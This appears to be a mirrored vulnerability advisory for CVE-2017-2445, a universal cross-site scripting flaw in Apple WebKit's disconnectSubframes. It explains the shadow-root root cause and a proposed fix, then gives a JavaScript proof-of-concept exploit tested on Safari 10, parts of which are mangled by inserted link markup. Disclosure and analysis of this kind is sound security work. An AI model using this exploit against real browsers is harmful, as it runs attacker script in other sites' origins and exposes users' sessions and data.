Apple WebKit disconnectSubframes UXSS

Credit: lokihardt
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Apple WebKit: UXSS via disconnectSubframes CVE-2017-2445 When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.). Here is a snippet of |disconnectSubframes|. void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy) { ... Vector<Ref<HTMLFrameOwnerElement>> frameOwners; if (policy == RootAndDescendants) { if (is<HTMLFrameOwnerElement>(root)) frameOwners.append(downcast<HTMLFrameOwnerElement>(root)); } collectFrameOwners(frameOwners, root); // Must disable frame loading in the subtree so an unload handler cannot // insert more frames and create loaded frames in detached subtrees. SubframeLoadingDisabler disabler(root); bool isFirst = true; for (auto& owner : frameOwners) { // Don't need to traverse up the tree for the first owner since no // script could have moved it. if (isFirst || root.containsIncludingShadowDOM(&owner.get())) owner.get().disconnectContentFrame(); isFirst = false; } } The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached. It should be like: ... collectFrameOwners(frameOwners, root); if (is<Element>(root)) { Element& element = downcast<Element>(root); if (ShadowRoot* shadowRoot = element.shadowRoot()) collectFrameOwners(frameOwners, *shadowRoot); } ... PoC: var d = document.body.appendChild(document.createElement("div")); var s = d.attachShadow({mode: "open"}); var f = s.appendChild(document.createElement("iframe")); f.onload = () => { f.onload = null; f.src = "javascript:alert(location)"; var xml = ` <svg xmlns="<a href="" title="" class="" rel="nofollow"></a>"> <script> document.documentElement.appendChild(parent.d); </sc` + `ript> <element a="1" a="2" /> </svg>`; var v = document.body.appendChild(document.createElement("iframe")); v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"})); }; f.src = "<a href="";" title="" class="" rel="nofollow">";</a> Tested on Safari 10.0.2(12602. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: lokihardt

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017,


Back to Top